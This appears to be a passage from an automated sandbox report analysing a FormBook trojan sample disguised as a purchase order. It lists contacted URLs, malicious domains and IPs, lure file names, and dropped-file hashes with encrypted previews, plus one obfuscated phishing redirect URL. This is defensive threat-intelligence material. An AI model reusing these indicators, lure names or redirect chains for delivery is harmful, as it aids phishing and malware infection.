https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/12/202310121017068870.jpg	AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/12/202310121445018007.jpg	AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	AtBroker.exe, 00000003.00000002.3527808936.00000000075EE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/icon/search.png	AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111752281448.jpg	AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/css/amazeui.css	BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/icon/menu.png	AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111820293498.jpg	AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/icon/home.png	AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://parking.reg.ru/script/get_domain_data?domain_name=www.marketplacer.top&rand=	AtBroker.exe, 00000003.00000002.3526286582.000000000544A000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003B7A000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.reg.ru/sozdanie-saita/	AtBroker.exe, 00000003.00000002.3526286582.000000000544A000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003B7A000.00000004.00000001.00040000.00000000.sdmp	false		high
https://github.com/twbs/bootstrap/blob/master/LICENSE)	AtBroker.exe, 00000003.00000002.3526286582.0000000005F48000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000004678000.00000004.00000001.00040000.00000000.sdmp	false		high
https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/css/normalize.css	AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/12/202310121103162503.jpg	AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.reg.ru/hosting/?utm_source=www.marketplacer.top&utm_medium=parking&utm_campaign=s_land_h	AtBroker.exe, 00000003.00000002.3526286582.000000000544A000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003B7A000.00000004.00000001.00040000.00000000.sdmp	false		high
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202308/28/202308281610030481.jpg	AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202308/28/202308281832298961.jpg	AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111319395468.jpg	AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/12/202310121111152889.jpg	AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/css/app.css	AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	AtBroker.exe, 00000003.00000002.3527808936.00000000075EE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/css/mescroll.min.css	AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/12/202310121124551331.jpg	AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/images/buy-logo.png	AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.217.16.211	ghs.google.com	United States	15169	GOOGLEUS	false
67.223.117.142	www.flikka.site	United States	15189	VIMRO-AS15189US	true
38.47.237.27	iuyi542.xyz	United States	174	COGENT-174US	true
38.88.82.56	www.college-help.info	United States	174	COGENT-174US	false
104.21.14.183	www.yvrkp.top	United States	13335	CLOUDFLARENETUS	true
206.119.81.36	neg21.top	United States	174	COGENT-174US	true
194.58.112.174	www.marketplacer.top	Russian Federation	197695	AS-REGRU	true
3.33.130.190	binacamasala.com	United States	8987	AMAZONEXPANSIONGB	false
47.129.103.185	www.kghjkx.xyz	Canada	34533	ESAMARA-ASRU	true
113.20.119.31	dns.webcake.io	Viet Nam	45903	CMCTELECOM-AS-VNCMCTelecomInfrastructureCompanyVN	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1554972
Start date and time:	2024-11-13 09:25:22 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 29s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	PO AT-5228.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/5@14/10
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 97% Number of executed functions: 62 Number of non-executed functions: 291
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms Sleep loops longer than 100000000ms are bypassed. Single calls with delay of 100000000ms and higher are ignored

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target BLUymyzgBTyhbo.exe, PID 5856 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing disassembly code.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
67.223.117.142	shipping doc_20241111.exe	Get hash	malicious	FormBook	Browse	www.flikka.site/brrb/
	New PO [FK4-7173].pdf.exe	Get hash	malicious	FormBook	Browse	www.maviro.xyz/hcih/
	SHIPPING DOC_20241107.exe	Get hash	malicious	FormBook	Browse	www.flikka.site/brrb/
	proforma Invoice.exe	Get hash	malicious	FormBook	Browse	www.jorbaq.top/saaz/
	DHL_doc.exe	Get hash	malicious	FormBook	Browse	www.plyvik.info/ak8m/
	SecuriteInfo.com.FileRepMalware.20173.21714.exe	Get hash	malicious	FormBook	Browse	www.plyvik.info/yhso/
	INVOICES.exe	Get hash	malicious	FormBook	Browse	www.plyvik.info/ak8m/
38.47.237.27	shipping doc_20241111.exe	Get hash	malicious	FormBook	Browse	www.iuyi542.xyz/cymd/
38.47.237.27	SHIPPING DOC_20241107.exe	Get hash	malicious	FormBook	Browse	www.iuyi542.xyz/cymd/
38.88.82.56	shipping doc_20241111.exe	Get hash	malicious	FormBook	Browse	www.college-help.info/fu91/
	SHIPPING DOC_20241107.exe	Get hash	malicious	FormBook	Browse	www.college-help.info/fu91/
	SecuriteInfo.com.FileRepMalware.20173.21714.exe	Get hash	malicious	FormBook	Browse	www.college-help.info/wm94/
	NF_Payment_Ref_FAN930276.exe	Get hash	malicious	FormBook	Browse	www.college-help.info/lk0h/
	18in SPA-198-2024.exe	Get hash	malicious	FormBook	Browse	www.college-help.info/lk0h/
	WARUNKI UMOWY-pdf.bat.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.college-help.info/ah9r/
	PO1268931024 - Bank Slip.exe	Get hash	malicious	PureLog Stealer	Browse	www.college-help.info/lk0h/
104.21.14.183	shipping doc_20241111.exe	Get hash	malicious	FormBook	Browse	www.yvrkp.top/9jdk/
104.21.14.183	SHIPPING DOC_20241107.exe	Get hash	malicious	FormBook	Browse	www.yvrkp.top/9jdk/
206.119.81.36	shipping doc_20241111.exe	Get hash	malicious	FormBook	Browse	www.neg21.top/1i1f/
	SHIPPING DOC_20241107.exe	Get hash	malicious	FormBook	Browse	www.neg21.top/1i1f/
	proforma Invoice.exe	Get hash	malicious	FormBook	Browse	www.neg21.top/w6i7/
	request-BPp -RFQ 0975432.exe	Get hash	malicious	PureLog Stealer	Browse	www.neg21.top/e18l/
	NOXGUARD AUS 40 UREA__912001_NOR_EN - MSDS.exe	Get hash	malicious	Unknown	Browse	www.neg21.top/e18l/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.college-help.info	shipping doc_20241111.exe	Get hash	malicious	FormBook	Browse	38.88.82.56
	SHIPPING DOC_20241107.exe	Get hash	malicious	FormBook	Browse	38.88.82.56
	SecuriteInfo.com.FileRepMalware.20173.21714.exe	Get hash	malicious	FormBook	Browse	38.88.82.56
	NF_Payment_Ref_FAN930276.exe	Get hash	malicious	FormBook	Browse	38.88.82.56
	18in SPA-198-2024.exe	Get hash	malicious	FormBook	Browse	38.88.82.56
	WARUNKI UMOWY-pdf.bat.exe	Get hash	malicious	FormBook, GuLoader	Browse	38.88.82.56
	PO1268931024 - Bank Slip.exe	Get hash	malicious	PureLog Stealer	Browse	38.88.82.56
www.kghjkx.xyz	shipping doc_20241111.exe	Get hash	malicious	FormBook	Browse	47.129.103.185
www.kghjkx.xyz	SHIPPING DOC_20241107.exe	Get hash	malicious	FormBook	Browse	47.129.103.185
dns.webcake.io	shipping doc_20241111.exe	Get hash	malicious	FormBook	Browse	113.20.119.31
	SHIPPING DOC_20241107.exe	Get hash	malicious	FormBook	Browse	113.20.119.31
	https://pagina.pro/Iraq2024ew	Get hash	malicious	Unknown	Browse	203.205.10.134
	http://www.open-sora.org	Get hash	malicious	Exela Stealer, Growtopia, Python Stealer	Browse	203.205.10.134
	Versanddetails.exe	Get hash	malicious	FormBook	Browse	113.20.119.61
	Versanddetails.exe	Get hash	malicious	FormBook	Browse	113.20.119.61
	pagamento.exe	Get hash	malicious	FormBook	Browse	113.20.119.61
	Original Shipment Document.exe	Get hash	malicious	FormBook	Browse	113.20.119.61

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	Loader.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	http://t.nypost.com/1/e/r?aqet=clk&r=2&ca=26510028&v0=aftua%40gmail.com&ru=//www.google.it/url?q=https://www.google.it/url?q=https://www.google.it/url?q=https://www.google.ro/url?q=https://digitalplatform-admin-p.azurewebsites.net/external-link/?targetURL=https://www.google.nl/url?q=ZFCKQSES42J831UCOWMB4MEAK36T3IE7YuQiApLjODz3yh4nNeW8uuQi&rct=XS%SERIAL%25wDnNeW8yycT&sa=t&esrc=nNeW8F%SERIAL%25A0xys8Em2FL&source=&cd=tS6T8%SERIAL%25Tiw9XH&cad=XpPkDfJX%SERIAL%25VS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%62%79%64%61%2E%6E%67%2F%63%69%67%2E%62%69%6E%2F%67%67%6C%6E%46%78%50%51%30%47%76%38%64%43%45%35%45%43%61%37%66%37%78%63%58%71%32%79%74%4D%57%65%54%6E%31%37%53%74%68%66%4C%56%74%52%44%70%4E%58%36%63%6B%42%66%50%7A%42%38%6B%51%52%36%38%64%67%53%64%31%4C%6C%73%33%71%37%76%6E%79%6E%48%6D%75%41%73%31%2F%23Y2hyaXN0b3BoZXIuZG9sYW5AdmlyZ2lubW9uZXkuY29t	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	104.17.25.14
	setup7.0.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.13.205
	blhbZrtqbLg6O1K.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	Updatev4_5.exe	Get hash	malicious	LummaC	Browse	104.21.80.55
	Payment Copy.docx.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	TT copy.exe	Get hash	malicious	FormBook	Browse	188.114.97.3
	2 Payment Copy.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	QUOTATION_NOVQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	DHL Delivery Invoice.com.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
VIMRO-AS15189US	shipping doc_20241111.exe	Get hash	malicious	FormBook	Browse	67.223.117.142
	fHkdf4WB7zhMcqP.exe	Get hash	malicious	FormBook	Browse	67.223.118.17
	New PO [FK4-7173].pdf.exe	Get hash	malicious	FormBook	Browse	67.223.117.142
	SHIPPING DOC_20241107.exe	Get hash	malicious	FormBook	Browse	67.223.117.142
	proforma Invoice.exe	Get hash	malicious	FormBook	Browse	67.223.117.142
	DHL_doc.exe	Get hash	malicious	FormBook	Browse	67.223.117.142
	icRicpJWczmiOf8.exe	Get hash	malicious	FormBook	Browse	67.223.118.17
	SecuriteInfo.com.FileRepMalware.20173.21714.exe	Get hash	malicious	FormBook	Browse	67.223.117.142
	INVOICES.exe	Get hash	malicious	FormBook	Browse	67.223.117.142
	QUOTE2342534.exe	Get hash	malicious	FormBook	Browse	67.223.117.169
COGENT-174US	yakuza.i586.elf	Get hash	malicious	Unknown	Browse	154.18.45.166
	yakuza.mipsel.elf	Get hash	malicious	Unknown	Browse	38.251.108.229
	meerkat.mpsl.elf	Get hash	malicious	Mirai	Browse	206.235.235.131
	meerkat.spc.elf	Get hash	malicious	Mirai	Browse	204.45.214.204
	meerkat.arm7.elf	Get hash	malicious	Mirai	Browse	38.6.229.100
	Confirming - Notice of payment_SWIFT BJ23004300IU.bat.exe	Get hash	malicious	FormBook	Browse	154.23.243.75
	FOTO#U011eRAFLAR.exe	Get hash	malicious	FormBook	Browse	38.47.232.202
	wavjjT3sEq.exe	Get hash	malicious	FormBook	Browse	206.119.82.134
	Swift MT1O3 Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Get hash	malicious	FormBook	Browse	154.38.64.6
	inter.exe	Get hash	malicious	Unknown	Browse	154.23.181.145
COGENT-174US	yakuza.i586.elf	Get hash	malicious	Unknown	Browse	154.18.45.166
	yakuza.mipsel.elf	Get hash	malicious	Unknown	Browse	38.251.108.229
	meerkat.mpsl.elf	Get hash	malicious	Mirai	Browse	206.235.235.131
	meerkat.spc.elf	Get hash	malicious	Mirai	Browse	204.45.214.204
	meerkat.arm7.elf	Get hash	malicious	Mirai	Browse	38.6.229.100
	Confirming - Notice of payment_SWIFT BJ23004300IU.bat.exe	Get hash	malicious	FormBook	Browse	154.23.243.75
	FOTO#U011eRAFLAR.exe	Get hash	malicious	FormBook	Browse	38.47.232.202
	wavjjT3sEq.exe	Get hash	malicious	FormBook	Browse	206.119.82.134
	Swift MT1O3 Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Get hash	malicious	FormBook	Browse	154.38.64.6
	inter.exe	Get hash	malicious	Unknown	Browse	154.23.181.145

Process:	C:\Windows\SysWOW64\AtBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mazatl

Download File

Process:	C:\Users\user\Desktop\PO AT-5228.exe
File Type:	data
Category:	dropped
Size (bytes):	288768
Entropy (8bit):	7.994352075567934
Encrypted:	true
SSDEEP:	6144:q5buJtERmLfypQeAtoEmCTqLuXqPfKHZMtoPTW0Dpp9FES+gKVTFzPvR:q1usmLfah6IaXqPC5ooL5xFES+1JzXR
MD5:	F5CDF90E36117F3EB7CC8804601A14A9
SHA1:	930E6331C675AD4302B3E3FA06C470CD26AE538B
SHA-256:	87675C6C3DAED3AC5196B0BFDE77C67D323EC023767F6EAB90AE01B4A9F5807B
SHA-512:	E38945C874FAF90E193F01838FDA5DA56D4ADE8C7ADD97A78DA002880EE27DC1CA48B81F7624145E00E14A4DA8DD5391F31BDA14C9FDEEFF90FA1DB441885D1D
Malicious:	false
Reputation:	low
Preview:	t....GIHO...^....d.YD..q4\...9OXMYGIHOY7TWA59OXMYGIHOY7TWA5.OXMWX.FO.>.v.4u.y.1.:h?+X3% X.,9#7(=h-<.&"/.P!x...i% =RzZL?.OXMYGIH6X>.j!R.r8*.z)/.C...{U^.B..u((.-....Y(..0$!u/>.TWA59OXM..IH.X6T..scOXMYGIHO.7VVJ42OX.]GIHOY7TWA.-OXMIGIH?]7TW.59_XMYEIHIY7TWA59IXMYGIHOYGPWA79OXMYGKH..7TGA5)OXMYWIH_Y7TWA5)OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7Ty5PA;XMY..LOY'TWAc=OX]YGIHOY7TWA59OXmYG)HOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY

C:\Users\user\AppData\Local\Temp\autC0A9.tmp

Download File

Process:	C:\Users\user\Desktop\PO AT-5228.exe
File Type:	data
Category:	dropped
Size (bytes):	14542
Entropy (8bit):	7.63326193728937
Encrypted:	false
SSDEEP:	384:nTYznwwovyyyY0lYRgtA+lQs3wN6Ue4ncEoVJSRgIn:nAwwo0RptZl33wN6nCGMaq
MD5:	525B414835ED1A137CA0E4205780E495
SHA1:	CBC054B76E9851AB9398363CEEEC830DCEB4C147
SHA-256:	3791561C7BF97A86F9115E50127789A5FCF973D45609638984A002542B01F3AC
SHA-512:	7F21A085998E6F02F3F7FD397989C0A24C13C6A302D49F6D1D5DE392573DF8A8823999E90BAD581B022DC05870B0D8E0C3161E21F61F99F5E3201168430B6225
Malicious:	false
Preview:	EA06..0..[-w9..+x..f....... .V......71...@.x..L........`......8............`.......Z\|3@...@.........K.X@0.2.Z..Z>)..w.e....l !..m..;...\| !.....;....;.....l.;.0./.<.;...m..rd.....@->.....4....f.C.5..;.............r.....X.<>`.O..p.........!.........h.=..........<\|3.....c...h.. -...... ...X.Z?......(...(.G..4.h....x....M@N.......Z?.I.......N@R... ...5.(..,.._...k`........R...._.K..?d...B.... 7W.......n.../.~.....)...@...!K....h\|!._....ga._.5.1.....`v/.......NA...,...7.7.,..!6.b...Z?.K(-...0.h..&.._....' -.............-..........G.6.....d_.T......"....d_.(M..57....n.....`...L....K.L..6.s.A.?..L.......Bg>...w.36.... !...L...}....\|V.4..r......$............r..9....>.....2... ...b....`......k.(.....!`....,......V1`..f....X.>i.v'.3c.........G.4....E.?......9..X.......7...l.`..."...\.61*........f.....\|.`.O.......,`........nl,....C.`....p...Y......`....@n?..;g....0...d...l ...P.?'....}...........0...4.X...>y.....1......x...L.\.i.....)...@n?............b...@.>y...

C:\Users\user\AppData\Local\Temp\autC359.tmp

Download File

Process:	C:\Users\user\Desktop\PO AT-5228.exe
File Type:	data
Category:	dropped
Size (bytes):	288768
Entropy (8bit):	7.994352075567934
Encrypted:	true
SSDEEP:	6144:q5buJtERmLfypQeAtoEmCTqLuXqPfKHZMtoPTW0Dpp9FES+gKVTFzPvR:q1usmLfah6IaXqPC5ooL5xFES+1JzXR
MD5:	F5CDF90E36117F3EB7CC8804601A14A9
SHA1:	930E6331C675AD4302B3E3FA06C470CD26AE538B
SHA-256:	87675C6C3DAED3AC5196B0BFDE77C67D323EC023767F6EAB90AE01B4A9F5807B
SHA-512:	E38945C874FAF90E193F01838FDA5DA56D4ADE8C7ADD97A78DA002880EE27DC1CA48B81F7624145E00E14A4DA8DD5391F31BDA14C9FDEEFF90FA1DB441885D1D
Malicious:	false
Preview:	t....GIHO...^....d.YD..q4\...9OXMYGIHOY7TWA59OXMYGIHOY7TWA5.OXMWX.FO.>.v.4u.y.1.:h?+X3% X.,9#7(=h-<.&"/.P!x...i% =RzZL?.OXMYGIH6X>.j!R.r8*.z)/.C...{U^.B..u((.-....Y(..0$!u/>.TWA59OXM..IH.X6T..scOXMYGIHO.7VVJ42OX.]GIHOY7TWA.-OXMIGIH?]7TW.59_XMYEIHIY7TWA59IXMYGIHOYGPWA79OXMYGKH..7TGA5)OXMYWIH_Y7TWA5)OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7Ty5PA;XMY..LOY'TWAc=OX]YGIHOY7TWA59OXmYG)HOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY7TWA59OXMYGIHOY

C:\Users\user\AppData\Local\Temp\thixophobia

Download File

Process:	C:\Users\user\Desktop\PO AT-5228.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	143378
Entropy (8bit):	2.991317071383019
Encrypted:	false
SSDEEP:	1536:lC6Hbc8ZhkCXWqb63Mic69+Vot6Qbk3oNV1U:1VMjtU
MD5:	8C721A91156338C1B049063882794EF3
